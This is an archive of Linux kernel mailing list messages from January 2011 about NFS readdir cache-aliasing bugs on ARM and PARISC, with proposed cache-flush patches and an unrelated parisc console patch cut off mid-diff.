Cc: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jan 06 19:25:48 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PauWx-0005wt-FC
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Thu, 06 Jan 2011 19:25:48 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752465Ab1AFSZq (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Thu, 6 Jan 2011 13:25:46 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39569 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751686Ab1AFSZp (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 6 Jan 2011 13:25:45 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CFEDE8EE114;
	Thu,  6 Jan 2011 10:25:44 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iT8NLZQqIfkU; Thu,  6 Jan 2011 10:25:44 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3A5658EE0DF;
	Thu,  6 Jan 2011 10:25:43 -0800 (PST)
In-Reply-To: <1294337670.22825.199.camel-0iu6Cu4xQGLYCGPCin2YbQ@public.gmane.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38064 gmane.linux.kernel:1084364 gmane.linux.ports.arm.kernel:101790 gmane.linux.ports.parisc:3347 gmane.linux.kernel.cross-arch:8695
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38064>

On Thu, 2011-01-06 at 12:14 -0600, James Bottomley wrote:
> On Thu, 2011-01-06 at 18:05 +0000, Russell King - ARM Linux wrote:
> > What network DMA operations - what if your NIC doesn't do DMA because
> > it's an SMSC device?
> 
> So this is the danger area ... we might be caught by our own flushing
> tricks.  I can't test this on parisc since all my network drivers use
> DMA (which automatically coheres the kernel mapping by
> flush/invalidate).
> 
> What should happen is that the kernel mapping pages go through the
> ->readdir() path.  Any return from this has to be ready to map the pages
> back to user space, so the kernel alias has to be flushed to make the
> underlying page up to date.
> 
> The exception is pages we haven't yet mapped to userspace.  Here we set
> the PG_dcache_dirty bit (sparc trick) but don't flush the page, since we
> expect the addition of a userspace mapping will detect this case and do
> the flush and clear the bit before the mapping goes live.  I assume
> you're thinking that because this page is allocated and freed internally
> to NFS, it never gets a userspace mapping and therefore, we can return
> from ->readdir() with a dirty kernel cache (and the corresponding flag
> set)?  I think that is a possible hypothesis in certain cases.

OK, so thinking about this, it seems that the only danger is actually
what NFS is doing: reading cache pages via a vmap.  In that case, since
the requirement is to invalidate the vmap range to prepare for read, we
could have invalidate_kernel_vmap_range loop over the underlying pages
and flush them through the kernel alias if the architecture specific
flag indicates their contents might be dirty.

The loop adds expense that is probably largely unnecessary to
invalidate_kernel_vmap_range() but the alternative is adding to the API
proliferation with something that only flushes the kernel pages if the
arch specific flag says they're dirty.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Stoffel" <john@stoffel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.nfs,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 6 Jan 2011 15:19:33 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <19750.9173.909359.319214@quad.stoffel.home>
References: <1294254337.16957.13.camel@mulgrave.site>
	<AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	<1294256169.16957.18.camel@mulgrave.site>
	<20110105200008.GJ8638@n2100.arm.linux.org.uk>
	<1294259637.16957.25.camel@mulgrave.site>
	<AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	<20110105210448.GM8638@n2100.arm.linux.org.uk>
	<AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	<1294262208.2952.4.camel@heimdal.trondhjem.org>
	<AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	<1294268808.2952.18.camel@heimdal.trondhjem.org>
	<1294270104.16957.73.camel@mulgrave.site>
	<1294335614.22825.154.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294345221 17822 80.91.229.12 (6 Jan 2011 20:20:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 20:20:21 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust@netapp.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 06 21:20:15 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1PawJg-0006PP-OB
	for glk-linux-kernel-3@lo.gmane.org; Thu, 06 Jan 2011 21:20:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752984Ab1AFUT5 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 6 Jan 2011 15:19:57 -0500
Original-Received: from Mycroft.westnet.com ([216.187.52.7]:33376 "EHLO
	mycroft.westnet.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752727Ab1AFUTt (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 6 Jan 2011 15:19:49 -0500
Original-Received: from jfsnew.stoffel.org (97-95-180-151.dhcp.oxfr.ma.charter.com [97.95.180.151])
	(authenticated bits=0)
	by mycroft.westnet.com (8.14.4/8.14.4) with ESMTP id p06KIbqL024705
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 6 Jan 2011 15:18:37 -0500 (EST)
Original-Received: by jfsnew.stoffel.org (Postfix, from userid 1000)
	id 1D704A0310; Thu,  6 Jan 2011 15:19:34 -0500 (EST)
In-Reply-To: <1294335614.22825.154.camel@mulgrave.site>
X-Mailer: VM 8.1.1 under 23.2.1 (x86_64-pc-linux-gnu)
X-Virus-Scanned: clamav-milter 0.96.5 at mycroft
X-Virus-Status: Clean
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1084415 gmane.linux.nfs:38066 gmane.linux.ports.arm.kernel:101811 gmane.linux.ports.parisc:3348 gmane.linux.kernel.cross-arch:8697
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1084415>

>>>>> "James" == James Bottomley <James.Bottomley@HansenPartnership.com> writes:

James> On Wed, 2011-01-05 at 23:28 +0000, James Bottomley wrote:
>> Can you explain how the code works? it looks to me like you read the xdr
>> stuff through the vmap region then write it out directly to the pages? 

James> OK, I think I see how this is supposed to work: It's a
James> sequential loop of reading in via the pages (i.e. through the
James> kernel mapping) and then updating those pages via the vmap.  In
James> which case, I think this patch is what you need.

James> The theory of operation is that the readdir on pages actually
James> uses the network DMA operations to perform, so when it's
James> finished, the underlying page is up to date.  After this you
James> invalidate the vmap range, so we have no cache lines above it
James> (so it picks up the values from the uptodate page).  Finally,
James> after the operation on the vmap region has finished, you flush
James> it so that any updated contents go back to the pages themselves
James> before the next iteration begins.

You need to re-spin this patch to include the above description into
the magic steps your taking here, or at least document it more clearly
somewhere why you need to make these funky steps.  

John


James> James

James> ---

James> diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
James> index 996dd89..bde1911 100644
James> --- a/fs/nfs/dir.c
James> +++ b/fs/nfs/dir.c
James> @@ -587,12 +587,16 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
James>  		if (status < 0)
James>  			break;
James>  		pglen = status;
James> +
James> +		invalidate_kernel_vmap_range(pages_ptr, pglen);
James> +
James>  		status = nfs_readdir_page_filler(desc, &entry, pages_ptr, page, pglen);
James>  		if (status < 0) {
James>  			if (status == -ENOSPC)
James>  				status = 0;
James>  			break;
James>  		}
James> +		flush_kernel_vmap_range(pages_ptr, pglen);
James>  	} while (array->eof_index < 0);
 
James>  	nfs_readdir_free_large_page(pages_ptr, pages, array_size);


James> --
James> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
James> the body of a message to majordomo@vger.kernel.org
James> More majordomo info at  http://vger.kernel.org/majordomo-info.html
James> Please read the FAQ at  http://www.tux.org/lkml/

-- 

From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 06 Jan 2011 15:07:58 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <1294348078.22825.346.camel@mulgrave.site>
References: <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <20110106180530.GI31708@n2100.arm.linux.org.uk>
	 <1294337670.22825.199.camel@mulgrave.site>
	 <1294338341.22825.216.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294348094 413 80.91.229.12 (6 Jan 2011 21:08:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 21:08:14 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust@netapp.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 06 22:08:06 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pax41-00083B-JN
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 Jan 2011 22:08:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753304Ab1AFVIE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Jan 2011 16:08:04 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38436 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753213Ab1AFVID (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Jan 2011 16:08:03 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 30A748EE10F;
	Thu,  6 Jan 2011 13:08:02 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HRc0MUgWFICQ; Thu,  6 Jan 2011 13:08:02 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E2E128EE0DF;
	Thu,  6 Jan 2011 13:08:00 -0800 (PST)
In-Reply-To: <1294338341.22825.216.camel@mulgrave.site>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3349 gmane.linux.nfs:38068 gmane.linux.kernel:1084461 gmane.linux.ports.arm.kernel:101812 gmane.linux.kernel.cross-arch:8698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3349>

On Thu, 2011-01-06 at 12:25 -0600, James Bottomley wrote:
> OK, so thinking about this, it seems that the only danger is actually
> what NFS is doing: reading cache pages via a vmap.  In that case, since
> the requirement is to invalidate the vmap range to prepare for read, we
> could have invalidate_kernel_vmap_range loop over the underlying pages
> and flush them through the kernel alias if the architecture specific
> flag indicates their contents might be dirty.
> 
> The loop adds expense that is probably largely unnecessary to
> invalidate_kernel_vmap_range() but the alternative is adding to the API
> proliferation with something that only flushes the kernel pages if the
> arch specific flag says they're dirty.

This is what I think the arm patch would look like (example only: I
can't compile it).  Is something like this too expensive? the loop can't
be optimised away because of the need to check the pages (and
vmalloc_to_page is a three level page table lookup).

James

---

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 3acd8fa..34469ca 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -414,8 +414,17 @@ static inline void flush_kernel_vmap_range(void *addr, int size)
 }
 static inline void invalidate_kernel_vmap_range(void *addr, int size)
 {
-	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
-	  __cpuc_flush_dcache_area(addr, (size_t)size);
+	if ((cache_is_vivt() || cache_is_vipt_aliasing())) {
+		void *cursor = addr;
+
+		for ( ; cursor < addr + size; cursor += PAGE_SIZE) {
+			struct page *page = vmalloc_to_page(cursor);
+
+			if (!test_and_set_bit(PG_dcache_clean, &page->flags))
+				__flush_dcache_page(page_mapping(page), page);
+		}
+		__cpuc_flush_dcache_area(addr, (size_t)size);
+	}
 }
 
 #define ARCH_HAS_FLUSH_ANON_PAGE


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 12/36] parisc: cleanup console handling
Date: Thu,  6 Jan 2011 14:23:01 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <1294352605-31906-12-git-send-email-gregkh@suse.de>
References: <20110106215404.GA30624@kroah.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1294353043 25879 80.91.229.12 (6 Jan 2011 22:30:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 22:30:43 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.cz>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Greg Kroah-Hartman <gregkh@suse.de>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 06 23:30:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PayLt-0001AA-9Y
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 Jan 2011 23:30:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754772Ab1AFW3c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Jan 2011 17:29:32 -0500
Original-Received: from kroah.org ([198.145.64.141]:55644 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754469Ab1AFWXm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Jan 2011 17:23:42 -0500
Original-Received: from localhost (c-71-227-141-191.hsd1.wa.comcast.net [71.227.141.191])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id B1F2D48887;
	Thu,  6 Jan 2011 14:23:41 -0800 (PST)
X-Mailer: git-send-email 1.7.3.2
In-Reply-To: <20110106215404.GA30624@kroah.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3350 gmane.linux.kernel:1084546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3350>

From: Jiri Slaby <jslaby@suse.cz>

* use newly added for_each_console for iterating consoles
* add proper console locking
* do not initialize tmp twice
* no need to declare console_drivers, it's already done in console.h

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Acked-by: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
---
 arch/parisc/kernel/pdc_cons.c |    8 ++++----
 1 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 66d1f17..11bdd68 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -92,8 +92,6 @@ static int pdc_console_setup(struct console *co, char *options)
 
 static struct timer_list pdc_console_timer;
 
-extern struct console * console_drivers;

From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Fri, 07 Jan 2011 13:53:25 -0500
Organization: NetApp Inc
Lines: 59
Approved: news@gmane.org
Message-ID: <1294426405.2929.23.camel@heimdal.trondhjem.org>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294426423 5338 80.91.229.12 (7 Jan 2011 18:53:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 7 Jan 2011 18:53:43 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 07 19:53:34 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PbHRL-0003cD-Vy
	for glka-linux-arch@lo.gmane.org; Fri, 07 Jan 2011 19:53:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753136Ab1AGSxb (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 7 Jan 2011 13:53:31 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:54612 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752429Ab1AGSx3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 7 Jan 2011 13:53:29 -0500
X-IronPort-AV: E=Sophos;i="4.60,290,1291622400"; 
   d="scan'208";a="502825449"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 07 Jan 2011 10:53:29 -0800
Original-Received: from sacrsexc1-prd.hq.netapp.com (sacrsexc1-prd.hq.netapp.com [10.99.115.27])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p07IrRb5009996;
	Fri, 7 Jan 2011 10:53:27 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by sacrsexc1-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Fri, 7 Jan 2011 10:53:27 -0800
Original-Received: from 10.58.57.134 ([10.58.57.134]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Fri,  7 Jan 2011 18:53:26 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 07 Jan 2011 13:53:26 -0500
In-Reply-To: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 07 Jan 2011 18:53:27.0266 (UTC) FILETIME=[2B2C8420:01CBAE9C]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8704 gmane.linux.nfs:38092 gmane.linux.kernel:1085004 gmane.linux.ports.arm.kernel:101906 gmane.linux.ports.parisc:3351
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8704>

On Thu, 2011-01-06 at 09:55 -0800, Linus Torvalds wrote: 
> On Thu, Jan 6, 2011 at 9:47 AM, Trond Myklebust
> <Trond.Myklebust@netapp.com> wrote:
> >
> > Why is this line needed? We're not writing through the virtual mapping.
> 
> I haven't looked at the sequence of accesses, but you need to be
> _very_ aware that "write-through" is absolutely NOT sufficient for
> cache coherency.
> 
> In cache coherency, you have three options:
> 
>  - true coherency (eg physically indexed/tagged caches)
> 
>  - exclusion (eg virtual caches, but with an exclusion guarantee that
> guarantees that aliases cannot happen: either by using physical
> tagging or by not allowing cases that could cause virtual aliases)
> 
>  - write-through AND non-cached reads (ie "no caching at all").
> 
> You seem to be forgetting the "no cached reads" part. It's not
> sufficient to flush after a write - you need to make sure that you
> also don't have a cached copy of the alias for the read.
> 
> So "We're not writing through the virtual mapping" is NOT a sufficient
> excuse. If you're reading through the virtual mapping, you need to
> make sure that the virtual mapping is flushed _after_ any writes
> through any other mapping and _before_ any reads through the virtual
> one.

I'm aware of that. That part should be taken care of by the call to
invalidate_kernel_vmap_range() which was in both James and my patch.

There is already code in the SUNRPC layer that calls flush_dcache_page()
after writing (although as Russell pointed out earlier, that is
apparently a no-op for non-page cache pages such as these).

> This is why you really really really generally don't want to have
> aliasing. Purely virtual caches are pure crap. Really.

Well, it looks as if NOMMU is giving us problems due to the lack of a
vm_map_ram() (see https://bugzilla.kernel.org/show_bug.cgi?id=26262).

I'd still like to keep the existing code for those architectures that
don't have problems, since that allows us to send 32k READDIR requests
instead of being limited to 4k. For large directories, that is a clear
win.
For the NOMMU case we will just go back to using a single page for
storage (and 4k READDIR requests only). Should I just do the same for
architectures like ARM and PARISC?

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
